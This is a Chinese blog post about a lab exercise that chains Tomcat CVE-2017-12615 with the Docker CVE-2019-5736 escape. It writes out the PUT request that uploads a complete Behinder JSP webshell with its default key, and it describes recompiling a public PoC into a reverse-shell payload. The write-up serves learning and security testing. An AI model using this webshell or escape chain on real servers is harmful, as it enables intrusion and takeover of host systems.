从tomcat上传漏洞到docker逃逸

简介

参考链接:

本次测试是在实验环境,不是真实的生产环境。用实验环境的原因是为了学习,最近复现了一些docker逃逸的漏洞,然后想通过配合一些命令执行的漏洞,最终达到逃逸到宿主机的效果。

本来想使用 tomcat CVE-2017-12615 PUT 上传漏洞和逃逸漏洞 CVE-2020-15257。但是有个坑点,15257这个洞启动容器时需要使用参数--net=host命令,想通过修改docker-compose.yml文件增加这个参数,但是使用这个参数后就不能使用-p进行端口绑定了,修改之后报错,是因为对 docker-compose 的配置文件不了解吧。

应用层的漏洞,我选用的是 tomcat CVE-2017-12615 PUT 上传漏洞;搭建环境使用的是 vulhub;docker 逃逸漏洞选用的是 CVE-2019-5736。

实验环境:

  • Ubuntu 16.04,IP:192.168.221.163
  • docker版本 18.03.1-ce

环境搭建

  1. 下载 vulhub 中的tomcat/CVE-2017-12615文件夹。

  2. 安装 docker-compose,首先安装pip,通过curl https://bootstrap.pypa.io/pip/3.5/get-pip.py -o get-pip.py下载 pip 安装脚本,使用 root 权限,运行python3 get-pip.py即可自动安装pip。

  3. pip 安装完成后,安装构建工具,因为一些库的使用依赖于这些构建工具

    apt-get install python3-dev libssl-dev libffi-dev build-essential

  4. 构建工具完成后,再使用 root 权限运行 pip 安装docker-composepip install docker-compose

docker-compose 环境安装完成之后,再安装符合漏洞版本的docker环境。

# 安装所需软件包
apt-get -y install apt-transport-https ca-certificates curl software-properties-common
# 安装GPG证书
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | apt-key add -
# 写入软件源信息
add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
# 更新软件源
apt-get -y update
# 查看docker-ce的版本
apt-cache madison docker-ce
# 安装指定版本的docker-ce(VERSION,本次安装18.03.1~ce-0~ubuntu)
apt-get -y install docker-ce=18.03.1~ce-0~ubuntu

docker 安装完成之后,进入到CVE-2017-12615文件夹中,使用docker-compose up -d命令启用容器。

通过tomcat获取容器权限

容器启用后,访问http://your-ip:8080端口,即可看到 tomcat 展示页面,使用 burp 获取请求报文。通过cve-2017-12615 将冰蝎的jsp木马上传到容器中,如果响应为201,表示创建成功,创建后的文件在容器/usr/local/tomcat/webapps/ROOT目录下。

PUT /tomcat.jsp/ HTTP/1.1
Host: 192.168.221.163:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 592

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

a

上传完成后,使用冰蝎进行连接,密码:rebeyond

f

通过docker漏洞逃逸到主机

判断服务器是否在docker 环境中。常用的方法有三种:

  1. 是否存在.dockerenv文件(可能不存在):ls -alh /.dockerenv
  2. 查看系统进程cgroup信息中是否存在docker字符串:cat /proc/1/cgroup
  3. 检测虚拟化环境(可能不存在):systemd-detect-virt -c

b

确定当前应用服务处于容器中后,按道理来讲应该进行信息收集,但因为是实验环境,这个案例就先不这样做了,如何做后面补充。所以我们假设我们已经知道当前docker 版本存在CVE-2019-5736这个漏洞,下载POC:https://github.com/Frichetten/CVE-2019-5736-PoC,将执行的 payload 改为反弹 shell 的payload,使用golang进行编译GO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go,编译完成后,将其上传到 docker 容器中。

c

在接收shell的主机上监听端口,在容器中运行 exp 文件后,需要再次进入容器才能触发该漏洞,之后获得容器宿主机反弹的shell:

d

漏洞原理参考:https://ble55ing.github.io/2020/03/19/docker-20195736/,只要调用 docker 就会反弹shell。

g

该漏洞利用完成之后,环境被污染了,如果要测试其他内容需要重置环境,重置环境的方法是卸载docker并重装。

apt-get remove docker-ce=18.03.1~ce-0~ubuntu

docker内部信息收集

前面留了个坑,就是如何收集容器内部的信息。这里推荐一个工具:CDK

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

这个文档已经说的很详细了,直接看文档就可以。

本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/15791517.html